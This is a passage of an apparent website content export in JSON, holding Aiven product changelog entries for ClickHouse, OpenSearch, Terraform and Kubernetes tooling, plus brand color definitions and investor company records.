Caching query results can help reduce latency and resource consumption as well as improving query performance.\nLearn more about Aiven for ClickHouse query cache in "},{"_key":"6b331a235922","_type":"span","marks":["db572dd4bd27"],"text":"the documentation"},{"_key":"ba97e4af4678","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"db572dd4bd27","_type":"link","href":"https://aiven.io/docs/products/clickhouse/howto/clickhouse-query-cache"}],"style":"normal"}],"publishedAt":"2024-12-16T12:21:00.000Z","tags":[{"_key":"80754858fa80","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"Aiven for ClickHouse® query cache"} {"__i18n_lang":"en","_createdAt":"2024-12-18T12:49:15Z","_id":"74f1a873-861a-443f-a86a-76664d9bdc69","_rev":"tW1iVB3M02HkZ9xlNF983u","_type":"changelog","_updatedAt":"2025-01-08T15:46:47Z","changeType":"improved","description":[{"_key":"39d17d732a2b","_type":"block","children":[{"_key":"f153eb71b7540","_type":"span","marks":[],"text":"Aiven for ClickHouse's tiered storage now features local on-disk cache for remote files. The cache allows to avoid repeated remote fetches, which helps improve query performance and reduce latency.\nLearn more about Aiven for ClickHouse tiered storage’s local cache for remote files in "},{"_key":"f153eb71b7541","_type":"span","marks":["99f76e31bcae"],"text":"the documentation"},{"_key":"f153eb71b7542","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"99f76e31bcae","_type":"link","href":"https://aiven.io/docs/products/clickhouse/howto/local-cache-tiered-storage"}],"style":"normal"}],"publishedAt":"2025-01-08T15:39:00.000Z","tags":[{"_key":"cd7fdaee912f","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"Local cache for remote files in Aiven for ClickHouse® tiered storage"} {"_createdAt":"2022-10-27T09:08:28Z","_i18n_lang":"en","_id":"d93f7923-6df2-45b6-bbe9-a94cad6c386e","_rev":"AUoLUkEDo6CVeRx5sqQ2vL","_type":"changelog","_updatedAt":"2024-02-09T08:24:58Z","changeType":"","description":[{"_key":"77f6b14f-dd93-4dc3-99c2-29091bcc7ae4","_type":"block","children":[{"_key":"ef40ddf4-488d-42f4-8a48-931cc1fbc2c9","_type":"span","marks":[],"text":"To get started with the external Elasticsearch integration see the "},{"_key":"6bd48751-37d6-4330-a5af-3758e2612aaf","_type":"span","marks":["m15096988531733"],"text":"External Elasticsearch integration guide"}],"markDefs":[{"_key":"m15096988531733","_type":"link","href":"https://help.aiven.io/services/integrations/external-elasticsearch-log-integration"}],"style":"normal"}],"publishedAt":"2019-05-21T00:00:00.000Z","tags":[{"_key":"4d70f415-2f81-474a-9375-51d41bc0449b","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"},{"_key":"84d17c13-6502-4ed9-8c89-1696f870d32e","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"},{"_key":"bfba99a0-551c-4e55-b6e1-52eed1f9c1bf","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"a4958adc-605d-42d2-9b8f-fbf4765a1772","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"},{"_key":"d1c55485-6f06-4b2b-ba2a-bbd7da16bec2","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"07d0f1ee-8d5c-4625-aab6-06e944d22923","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Support sending logs to external Elasticsearch service"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:08:26Z","_i18n_lang":"en","_id":"dc5297bc-f31d-433a-9a16-cc33c5577464","_rev":"aqN8LslQ3cZYmtCXIvCaK9","_type":"changelog","_updatedAt":"2024-02-09T08:25:27Z","changeType":"","description":[{"_key":"0ae51f64-7204-48e3-bbc8-492d1b0aa9ff","_type":"block","children":[{"_key":"5b4f8df0-4d92-457c-9e9c-657b057eacf5","_type":"span","marks":[],"text":"Enabling this requires a separate configuration change under advanced settings."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-06-03T00:00:00.000Z","tags":[{"_key":"cac17848-8354-4cab-ac4a-315a5783d7a4","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Support accessing Elasticsearch, Kibana, Redis and InfluxDB from non-private addresses with services running in the VPC"} {"__i18n_lang":"en","_createdAt":"2024-11-11T08:20:28Z","_id":"2f715e17-2710-4679-b1d1-97d43fa3019b","_rev":"LH5f7Hr0x4bwLSK8BnNalU","_type":"changelog","_updatedAt":"2024-11-11T08:27:28Z","changeType":"improved","description":[{"_key":"812d7ea1d924","_type":"block","children":[{"_key":"1faa12c7b2c90","_type":"span","marks":[],"text":"Premium-30x-* plans for Aiven for OpenSearch are no longer available in the Aiven Console. Existing 30-node plans remain unaffected. If your project currently or previously had a 30-node plan, you can still create new 30-node plans without consulting sales. Custom plans are not impacted."}],"markDefs":[],"style":"normal"},{"_key":"83c13b5e5e52","_type":"block","children":[{"_key":"31c69916d9100","_type":"span","marks":[],"text":"For further assistance, contact your Aiven sales team."}],"markDefs":[],"style":"normal"},{"_key":"67a756387250","_type":"block","children":[{"_key":"3ce2743c95060","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-10-30T08:20:00.000Z","tags":[{"_key":"0ddeb6be032d","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"30-node plan no longer available for Aiven for OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2024-08-09T10:31:13Z","_id":"a5c460f8-c3e2-42cb-af6a-86790513e1ef","_rev":"msvVOwV0ly404Y5JqJoM1V","_type":"changelog","_updatedAt":"2024-08-12T09:40:44Z","changeType":"improved","description":[{"_key":"5770a106b366","_type":"block","children":[{"_key":"9d1c8774675c","_type":"span","marks":[],"text":"The BYOC self-service is no longer restricted to AWS cloud account users. Now, if your cloud provider is GCP, you can create and manage custom clouds yourself via Aiven CLI."}],"markDefs":[],"style":"normal"},{"_key":"00b1e8b2d93f","_type":"block","children":[{"_key":"d613b9c75e1d","_type":"span","marks":[],"text":"At the same time, we're introducing more BYOC enhancements:"}],"markDefs":[],"style":"normal"},{"_key":"8eff28ea50c2","_type":"block","children":[{"_key":"b4c0116d42e60","_type":"span","marks":[],"text":"You can apply custom labels to both service VMs and shared BYOC infrastructure, for example VPCs."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"45de43aca465","_type":"block","children":[{"_key":"8faeebc73ecc0","_type":"span","marks":[],"text":"You can choose between public and private BYOC deployment models for their Aiven-managed services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"11cb1102b030","_type":"block","children":[{"_key":"f15e93f1c974","_type":"span","marks":[],"text":"Learn more about BYOC in "},{"_key":"8d0605008bbc","_type":"span","marks":["21eb34e64df9"],"text":"the documentation"},{"_key":"bd2c26135c4d","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"21eb34e64df9","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"publishedAt":"2024-08-12T11:44:00.000Z","tags":[{"_key":"58c156d863ff","_ref":"9039a507-d3b4-402a-964b-6fa829d56ef8","_type":"hostProvider"}],"title":"Bring your own cloud (BYOC) self-service for GCP cloud accounts and more"} {"__i18n_lang":"en","_createdAt":"2024-11-21T14:03:42Z","_id":"20026958-e54e-4cdb-b6fa-bdbfc5a1b80d","_rev":"kXxs8oM5xmhZ4H9SjRfyNG","_type":"changelog","_updatedAt":"2024-11-21T14:04:31Z","changeType":"new","description":[{"_key":"88999fb8f9b0","_type":"block","children":[{"_key":"9e0bfd31b6c0","_type":"span","marks":["3a3c24ec3f3f"],"text":"Aiven for Apache Flink®"},{"_key":"dd9488eddf19","_type":"span","marks":[],"text":" is supported in version 0.26.0. Support for the "},{"_key":"989414acbe6d","_type":"span","marks":["f3e9a0ee2082"],"text":"autoscaler service integration"},{"_key":"8c26d37fef95","_type":"span","marks":[],"text":" was also added with the "},{"_key":"d4925f6ad6ce","_type":"span","marks":["code"],"text":"ServiceIntegration"},{"_key":"522a5a881fda","_type":"span","marks":[],"text":" field "},{"_key":"7bcd1f996aeb","_type":"span","marks":["code"],"text":"autoscaler"},{"_key":"9954a8c1be31","_type":"span","marks":[],"text":" and "},{"_key":"ffbea77fcadf1","_type":"span","marks":["code"],"text":"ServiceIntegrationEndpoint"},{"_key":"ffbea77fcadf2","_type":"span","marks":[],"text":" field "},{"_key":"ffbea77fcadf3","_type":"span","marks":["code"],"text":"autoscaler."}],"markDefs":[{"_key":"f3e9a0ee2082","_type":"link","href":"https://aiven.io/docs/platform/howto/disk-autoscaler"},{"_key":"3a3c24ec3f3f","_type":"link","href":"https://aiven.github.io/aiven-operator/api-reference/flink.html"}],"style":"normal"},{"_key":"9689db989218","_type":"block","children":[{"_key":"1d4553b3732b","_type":"span","marks":[],"text":"Other additions in this release include:"}],"markDefs":[],"style":"normal"},{"_key":"6b0199c9067e","_type":"block","children":[{"_key":"e125983938e20","_type":"span","marks":[],"text":"The ClickHouse field "},{"_key":"e125983938e23","_type":"span","marks":["code"],"text":"userConfig.recovery_basebackup_name"},{"_key":"e125983938e24","_type":"span","marks":[],"text":" for the backup to restore in a forked service."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1c4918ad6a7e","_type":"block","children":[{"_key":"7bca263f7b130","_type":"span","marks":[],"text":"The Grafana field "},{"_key":"7bca263f7b133","_type":"span","marks":["code"],"text":"userConfig.auth_generic_oauth.use_refresh_token "},{"_key":"7bca263f7b134","_type":"span","marks":[],"text":"to refresh tokens and check access token expiration."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"01b17abca2cc","_type":"block","children":[{"_key":"a2e11b8f7e740","_type":"span","marks":[],"text":"The Kafka field "},{"_key":"a2e11b8f7e743","_type":"span","marks":["code"],"text":"userConfig.schema_registry_config.retriable_errors_silenced"},{"_key":"a2e11b8f7e744","_type":"span","marks":[],"text":" to silence errors that can be retried or custom errors you specify. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c80e3cbc194e","_type":"block","children":[{"_key":"1d3069a79c2a0","_type":"span","marks":[],"text":"The Kafka field "},{"_key":"1d3069a79c2a3","_type":"span","marks":["code"],"text":"userConfig.schema_registry_config.schema_reader_strict_mode"},{"_key":"1d3069a79c2a4","_type":"span","marks":[],"text":" to configure the Karapace schema-registry service to shutdown when there are invalid schema records in the "},{"_key":"1d3069a79c2a7","_type":"span","marks":["code"],"text":"_schemas"},{"_key":"1d3069a79c2a8","_type":"span","marks":[],"text":" topic."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"73b8f23e2861","_type":"block","children":[{"_key":"ca46ccdb48410","_type":"span","marks":[],"text":"The OpenSearch fields "},{"_key":"ca46ccdb48413","_type":"span","marks":["code"],"text":"userConfig.azure_migration.indices"},{"_key":"ca46ccdb48414","_type":"span","marks":[],"text":", "},{"_key":"fd348d1e34503","_type":"span","marks":["code"],"text":"userConfig.gcs_migration.indices"},{"_key":"fd348d1e34504","_type":"span","marks":[],"text":", and "},{"_key":"af4cfe4d6cf13","_type":"span","marks":["code"],"text":"userConfig.s3_migration.indices"},{"_key":"af4cfe4d6cf14","_type":"span","marks":[],"text":" to define a list of indices to restore from the snapshot. Multi-index syntax is supported."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7b22b29299b8","_type":"block","children":[{"_key":"66592ad33b4b0","_type":"span","marks":[],"text":"The following are deprecated:"}],"markDefs":[],"style":"normal"},{"_key":"86db433499e3","_type":"block","children":[{"_key":"cf9076c5fb7c0","_type":"span","marks":[],"text":"PostgreSQL field "},{"_key":"cf9076c5fb7c2","_type":"span","marks":["code"],"text":"userConfig.additional_backup_regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c771ef467646","_type":"block","children":[{"_key":"e5dc987ef31f","_type":"span","marks":[],"text":"Grafana field "},{"_key":"1bc5c9a6e4532","_type":"span","marks":["code"],"text":"userConfig.alerting_enabled"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dcbb9f7a392e","_type":"block","children":[{"_key":"3300fd192a77","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"3d0a072c2cab","_type":"block","children":[{"_key":"006c806103760","_type":"span","marks":[],"text":"For a full list of the changes and deprecations, check out the "},{"_key":"006c806103761","_type":"span","marks":["e9430ca33556"],"text":"Aiven Operator changelog"},{"_key":"006c806103762","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"e9430ca33556","_type":"link","href":"https://aiven.github.io/aiven-operator/changelog.html"}],"style":"normal"}],"publishedAt":"2024-11-21T13:46:00.000Z","tags":[{"_key":"3f88bd7dbe01","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"tool"}],"title":"Flink and autoscaler now supported in Aiven Operator for Kubernetes "} {"__i18n_lang":"en","_createdAt":"2025-01-15T07:55:59Z","_id":"abc879a7-9d67-455b-bab2-8a573c2aa1fa","_rev":"l9BbI0uCCkuzBxX3d86dX0","_type":"changelog","_updatedAt":"2025-01-15T07:55:59Z","changeType":"new","description":[{"_key":"604714708bc1","_type":"block","children":[{"_key":"0e97656ff78c0","_type":"span","marks":[],"text":"This version supports quotas in Aiven for Apache Kafka® services with "},{"_key":"d5ed9134c496","_type":"span","marks":["ba8d4963601a"],"text":"the new aiven_kafka_quota resource"},{"_key":"226999593571","_type":"span","marks":[],"text":", enabling better management and control of Kafka resource usage through Terraform. "},{"_key":"0e97656ff78c1","_type":"span","marks":["0408c646fa9d"],"text":"Quotas"},{"_key":"0e97656ff78c2","_type":"span","marks":[],"text":" ensure fair resource allocation, stability, and efficiency in your Kafka clusters."}],"markDefs":[{"_key":"0408c646fa9d","_type":"link","href":"https://aiven.io/docs/products/kafka/concepts/kafka-quotas"},{"_key":"ba8d4963601a","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/kafka_quota"}],"style":"normal"},{"_key":"7297a712a276","_type":"block","children":[{"_key":"a7465b08dd3c0","_type":"span","marks":[],"text":"The following fields have also been added to "},{"_key":"b053d0cc88ef","_type":"span","marks":["a714b4ca8626"],"text":"the aiven_opensearch resource"},{"_key":"049e271fd056","_type":"span","marks":[],"text":" and data source in this release:"}],"markDefs":[{"_key":"a714b4ca8626","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/opensearch"}],"style":"normal"},{"_key":"40993f48b008","_type":"block","children":[{"_key":"fb2665e2af730","_type":"span","marks":["code"],"text":"opensearch_user_config.opensearch.cluster_routing_allocation_balance_prefer_primary"},{"_key":"06448418516b","_type":"span","marks":[],"text":": When set to true, OpenSearch attempts to evenly distribute the primary shards between the cluster nodes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0875a128346e","_type":"block","children":[{"_key":"8fbe50fb783d0","_type":"span","marks":["code"],"text":"opensearch_user_config.opensearch.segrep"},{"_key":"3b198ae19f42","_type":"span","marks":[],"text":": When set to true, it enables segment replication backpressure, a shard-level rejection mechanism that dynamically rejects indexing requests as replica shards in your cluster fall behind primary shards."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"84c568b0189f","_type":"block","children":[{"_key":"d4301159b7450","_type":"span","marks":[],"text":"For more details on fixes and updates, view the complete Aiven Provider for Terraform "},{"_key":"d4301159b7451","_type":"span","marks":["a122332e3442"],"text":"changelog"},{"_key":"d4301159b7452","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a122332e3442","_type":"link","href":"https://github.com/aiven/terraform-provider-aiven/blob/main/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2025-01-14T11:45:00.000Z","tags":[{"_key":"c96d19ab9d0f","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Aiven Provider for Terraform version 4.32.0 now available "} {"__i18n_lang":"en","_createdAt":"2024-12-02T14:49:22Z","_id":"7d5d09e1-6410-4fd7-8373-90cba19b71fa","_rev":"w5Y1buu43ZclY4xZaHGfL0","_type":"changelog","_updatedAt":"2025-01-13T14:39:24Z","changeType":"new","description":[{"_key":"a0100f56df2c","_type":"block","children":[{"_key":"dccf9086d3b50","_type":"span","marks":[],"text":"Aiven's "},{"_key":"04e81d1db863","_type":"span","marks":["strong"],"text":"AI Insights"},{"_key":"c4b74992c1fc","_type":"span","marks":[],"text":" feature for "},{"_key":"acfb9a7f1b13","_type":"span","marks":["em"],"text":"Aiven for PostgreSQL"},{"_key":"ca2e147a5148","_type":"span","marks":["strong","em"],"text":"®"},{"_key":"bbcb8691da53","_type":"span","marks":[],"text":" monitors database performance to identify slow queries. It delivers actionable insights and optimization recommendations, including query rewrites, index creation or removal suggestions, and more—helping you maintain peak database performance.\n"}],"markDefs":[],"style":"normal"},{"_key":"5100efaec9c8","_type":"block","children":[{"_key":"f9a804d1a313","_type":"span","marks":[],"text":"Learn more in our "},{"_key":"dccf9086d3b51","_type":"span","marks":["e216e0d57779"],"text":"documentation"},{"_key":"dccf9086d3b52","_type":"span","marks":[],"text":".\n"}],"markDefs":[{"_key":"e216e0d57779","_type":"link","href":"https://aiven.io/docs/products/postgresql/howto/ai-insights"}],"style":"normal"}],"publishedAt":"2024-12-02T14:47:20.100Z","tags":[{"_key":"3e1ab902a44b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"AI-powered performance insights for Aiven for PostgreSQL"} {"_createdAt":"2022-07-28T10:54:17Z","_id":"bad36c2a-4fde-4006-88ce-318196f3ff07","_rev":"8WeirZ6KB9gJqgJfvhtlL1","_type":"color","_updatedAt":"2022-09-30T13:51:55Z","name":"Grey 0 (Background)","value":"#F8F9FB"} {"_createdAt":"2022-08-15T15:15:41Z","_id":"702fd555-d5be-4c9a-907b-4a9e8e5f4a89","_rev":"NtJpmdKTpdEgU65ZHElfpy","_type":"color","_updatedAt":"2022-09-25T11:36:28Z","name":"Red 70","value":"#E03131"} {"_createdAt":"2022-08-16T15:52:50Z","_id":"e386f4bc-05e3-4ff3-9fdc-706819367798","_rev":"HosDT9snWCxUYvGzNabAQ3","_type":"color","_updatedAt":"2022-08-16T15:52:50Z","name":"AWS CloudWatch red","value":"#DD3070"} {"_createdAt":"2022-08-25T13:07:12Z","_id":"21e657b8-5980-4a85-87f8-595301495bef","_rev":"5QPb9KWQ58ZSt63EYvvxVp","_type":"color","_updatedAt":"2022-08-25T13:07:12Z","name":"Grey 100","value":"#1A1B22"} {"_createdAt":"2022-08-25T13:09:06Z","_id":"0fb6f6ab-4d26-47b1-81a2-4ec6bc768323","_rev":"eLm41tjv1TKDff3Cra92GD","_type":"color","_updatedAt":"2022-08-25T13:09:06Z","name":"Coral 80","value":"#FF3554"} {"_createdAt":"2022-09-25T11:29:54Z","_id":"42d6ef84-a6de-43a3-95de-e1610f065ed0","_rev":"NtJpmdKTpdEgU65ZHElL9T","_type":"color","_updatedAt":"2022-09-25T11:29:54Z","name":"Blue 70","value":"#0174BA"} {"_createdAt":"2022-08-16T15:50:58Z","_id":"37baf5a8-eb1c-419f-a157-dc0d3a3f1a03","_rev":"hRnhEu74WP2irJAz2m8s0T","_type":"color","_updatedAt":"2022-09-25T11:32:11Z","name":"Green 80","value":"#2B8A3E"} {"_createdAt":"2023-09-27T13:44:56Z","_id":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_rev":"lI1OMJNS7f9WP80VhjiLhw","_type":"color","_updatedAt":"2024-05-02T08:30:19Z","name":"Brand blue 0 (Background)","value":"#f3f6ff"} {"_createdAt":"2023-11-23T13:03:25Z","_id":"2cc54700-0d3f-443a-9277-51ed0a3ae1c8","_rev":"neae7oL4y1FotDvvRTPyNG","_type":"color","_updatedAt":"2024-07-12T12:12:50Z","name":"Brand Blue 60","value":"#3545be"} {"_createdAt":"2022-08-16T15:42:13Z","_id":"680fccb8-9369-4d66-b572-be171d992946","_rev":"AItYcVmwODXGfe9M0GL8D0","_type":"color","_updatedAt":"2022-08-16T15:42:13Z","name":"Kafka magenta","value":"#CA2984"} {"_createdAt":"2022-08-15T15:26:28Z","_id":"691c748b-6770-40d0-94dc-95f21aa776c8","_rev":"Dk4vsGyYpr9Xi9g7qzoG5E","_type":"color","_updatedAt":"2023-09-11T07:39:43Z","name":"Brand Blue 90 (Dark Background)","value":"#131E71"} {"_createdAt":"2022-08-16T15:40:52Z","_id":"15d1a407-85a4-498f-af4e-bcfcb2693707","_rev":"UWeb6CvKESkrsasvcdoXsP","_type":"color","_updatedAt":"2022-09-25T11:26:36Z","name":"Blue 40","value":"#02A8F3"} {"_createdAt":"2022-08-15T15:25:59Z","_id":"208391d6-8aef-4dd2-a370-4b96150945b5","_rev":"hRnhEu74WP2irJAz2m8cld","_type":"color","_updatedAt":"2022-09-25T11:29:04Z","name":"Indigo 100","value":"#0E1652"} {"_createdAt":"2022-08-15T13:10:37Z","_id":"2ff15be3-e6a8-475d-a0b0-a4a5f0753b39","_rev":"NtJpmdKTpdEgU65ZHElHfQ","_type":"color","_updatedAt":"2022-09-25T11:28:34Z","name":"Yellow 70","value":"#F08C00"} {"_createdAt":"2022-08-25T13:16:21Z","_id":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_rev":"ctsDnhiXC4vQz03H4tKWQe","_type":"color","_updatedAt":"2022-08-25T13:16:21Z","name":"White","value":"#ffffff"} {"_createdAt":"2022-08-25T13:10:31Z","_id":"6c9703f3-6248-4f27-8400-291d66a3cc5e","_rev":"hRnhEu74WP2irJAz2m8WxT","_type":"color","_updatedAt":"2022-09-25T11:27:51Z","name":"Blue 80","value":"#02569A"} {"_createdAt":"2022-08-15T15:13:18Z","_id":"97591528-a57b-42c3-9ed0-029f1bc27781","_rev":"AItYcVmwODXGfe9M0BrooI","_type":"color","_updatedAt":"2022-08-15T15:13:18Z","name":"Datadog purple","value":"#642F9E"} {"_createdAt":"2023-11-03T14:10:28Z","_id":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_rev":"1h3WMBnk967znzaf4Wn2Kh","_type":"color","_updatedAt":"2023-11-11T09:02:33Z","name":"Brand blue 5 (Background)","value":"#e3e9ff"} {"_createdAt":"2024-07-15T13:30:04Z","_id":"c958eb59-d492-40aa-a66f-a5783772f970","_rev":"neae7oL4y1FotDvvRjtJV5","_type":"color","_updatedAt":"2024-07-15T13:30:04Z","name":"Brand blue 100","value":"#0e1652"} {"_createdAt":"2022-08-16T15:54:40Z","_id":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_rev":"FsdEUX6qPquRWP6V14wVJq","_type":"color","_updatedAt":"2024-03-22T16:22:27Z","name":"Brand Blue 70","value":"#2F3DA7"} {"_createdAt":"2022-09-30T20:20:39Z","_id":"04985b78-1330-4b9d-9643-3b6050b75609","_rev":"FsdEUX6qPquRWP6V14pn8q","_type":"color","_updatedAt":"2024-03-22T13:56:26Z","name":"Brand Orange 80","value":"#FF5200"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"6dTbFAbcONjnzhVFmH6CJq","_rev":"0HOthdQkSgJdYc0CABZ2pV","_type":"company","_updatedAt":"2022-06-25T01:21:36Z","companyLogo":{"alt":"Point Nine logo","asset":{"_ref":"image-92a744582a891fb097db8c1f8350138871699439-120x120-png","_type":"reference"}},"companyName":"Point Nine","companyWebsite":"https://www.pointnine.com/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"mqK0V27Iu6YqOBkPCuqtJ","_rev":"0HOthdQkSgJdYc0CABZ2pV","_type":"company","_updatedAt":"2022-06-25T01:21:36Z","companyLogo":{"alt":"Maki VC logo","asset":{"_ref":"image-1f7a7fcddc4a6efab9e24f4a05ee143728792ebe-192x90-png","_type":"reference"}},"companyName":"Maki VC","companyWebsite":"https://maki.vc/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"6JOCjBVl2BVoq08iyPKW28","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-747e0ef6ecec8ca97e653fdcbe27b1b2484147d4-60x59-svg","_type":"reference"}},"companyName":"Stanford Student Space Initiative","companyWebsite":"https://stanfordssi.org/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"76JUNbn63dw1QEpqkh3eSE","_rev":"PMq0xitQ26NszJZ6mWzoWp","_type":"company","_updatedAt":"2022-09-14T10:57:32Z","companyLogo":{"alt":"","asset":{"_ref":"image-1885472e469f89cf26583bfe8481e692d748d0b2-459x147-png","_type":"reference"}},"companyName":"Atomico","companyWebsite":"https://atomico.com/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"518mUeL7pURWpXWvdbDcJE","_rev":"k8Pq0px2i8BPOfOn9xZgJm","_type":"company","_updatedAt":"2022-09-14T11:00:58Z","companyLogo":{"alt":"IVP logo","asset":{"_ref":"image-0c75c5b8da03f0e0e6b560594ded16a1d9badf57-100x79-png","_type":"reference"}},"companyName":"IVP","companyWebsite":"https://www.ivp.com/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"5Fgqlhohx9Yl7qYksGNrB7","_rev":"0HOthdQkSgJdYc0CABZ2pV","_type":"company","_updatedAt":"2022-06-25T01:21:36Z","companyLogo":{"alt":"Pale Blue Dot logo","asset":{"_ref":"image-6754a468a1945732954a16e706f8c62676d8047e-272x110-png","_type":"reference"}},"companyName":"Pale Blue Dot","companyWebsite":"https://www.paleblue.vc/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"4wPEuVo92wxzSHjDXPAGDK","_rev":"0HOthdQkSgJdYc0CABZ2pV","_type":"company","_updatedAt":"2022-06-25T01:21:36Z","companyLogo":{"alt":"Vendep logo","asset":{"_ref":"image-6d7f8cd0c49dc664d196df097484fac5737ff057-306x110-png","_type":"reference"}},"companyName":"Vendep","companyWebsite":"https://www.vendep.com/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"1nkbEvHFmjmEyYzxxddVMB","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-f4cb3695422ee9238d79fb223a1544b612d6fc66-115x25-svg","_type":"reference"}},"companyName":"Opendoor","companyWebsite":"https://www.opendoor.com/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"3VFiTwqqJNaaw5C0mtlTjU","_rev":"0HOthdQkSgJdYc0CABZ2pV","_type":"company","_updatedAt":"2022-06-25T01:21:36Z","companyLogo":{"alt":"EM Lyon Incubator logo","asset":{"_ref":"image-f0c5c2e91b494684ff3c6d92789d81b5e7a56563-134x132-png","_type":"reference"}},"companyName":"EM Lyon Incubator","companyWebsite":"https://incub.em-lyon.com/"} {"_createdAt":"2022-09-14T10:54:29Z","_id":"e7a05772-e1de-433a-912f-c636e37ad7c8","_rev":"STwkGY00NBjXpkjjM1k6Vk","_type":"company","_updatedAt":"2022-09-14T10:55:01Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-64105cc06f371e30e053a4e49f3fa1b033bd6b39-1200x163-png","_type":"reference"}},"companyName":"Endeavor","companyWebsite":"https://endeavor.org/","logoHeight":20} {"_createdAt":"2022-09-14T10:59:25Z","_id":"44cd83f3-3c89-4d8c-9151-ea7b23fd4bd0","_rev":"PMq0xitQ26NszJZ6mWzw6L","_type":"company","_updatedAt":"2022-09-14T10:59:47Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-d437969f90f5441e6b95a5324ade9eb1e564fe18-974x127-png","_type":"reference"}},"companyName":"Infocomm Media Development Authority","companyWebsite":"https://www.imda.gov.sg/","logoHeight":25} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"mILXVBnwdRWnfesAnxgDF","_rev":"k8Pq0px2i8BPOfOn9xbqUw","_type":"company","_updatedAt":"2022-09-14T11:13:11Z","companyLogo":{"alt":"Superhero Capital logo","asset":{"_ref":"image-b946cac1cee9120b6ed9826c305ca0fc12e17762-250x176-jpg","_type":"reference"}},"companyName":"Superhero Capital","companyWebsite":"https://superherocapital.com/","logoHeight":45} {"_createdAt":"2022-09-07T20:38:27Z","_id":"8578a12c-749c-4793-ae71-76091d951166","_rev":"tWS6wOCoDT5Jyi19Tz7ws1","_type":"company","_updatedAt":"2022-10-11T10:34:40Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-92889533074fb94addf32dcc178c16ba3c42e3ba-193x116-svg","_type":"reference"}},"companyName":"AWS","companyWebsite":"https://aws.amazon.com/marketplace/seller-profile?id=37261588-4513-4d54-9ef9-195534d74a1b"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"77J7gSKpPmG41hKjQi6dyl","_rev":"k8Pq0px2i8BPOfOn9xbhTs","_type":"company","_updatedAt":"2022-09-14T11:12:03Z","companyLogo":{"alt":"Northzone logo","asset":{"_ref":"image-eab459ac6e0c052074d2c55b60ff15209aacd15e-340x40-png","_type":"reference"}},"companyName":"Northzone","companyWebsite":"https://northzone.com/","logoHeight":20} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"23ny7CmYpgu9hBtlLxcMt9","_rev":"k8Pq0px2i8BPOfOn9xcY3K","_type":"company","_updatedAt":"2022-09-14T11:16:38Z","companyLogo":{"alt":"Big Start Ventures 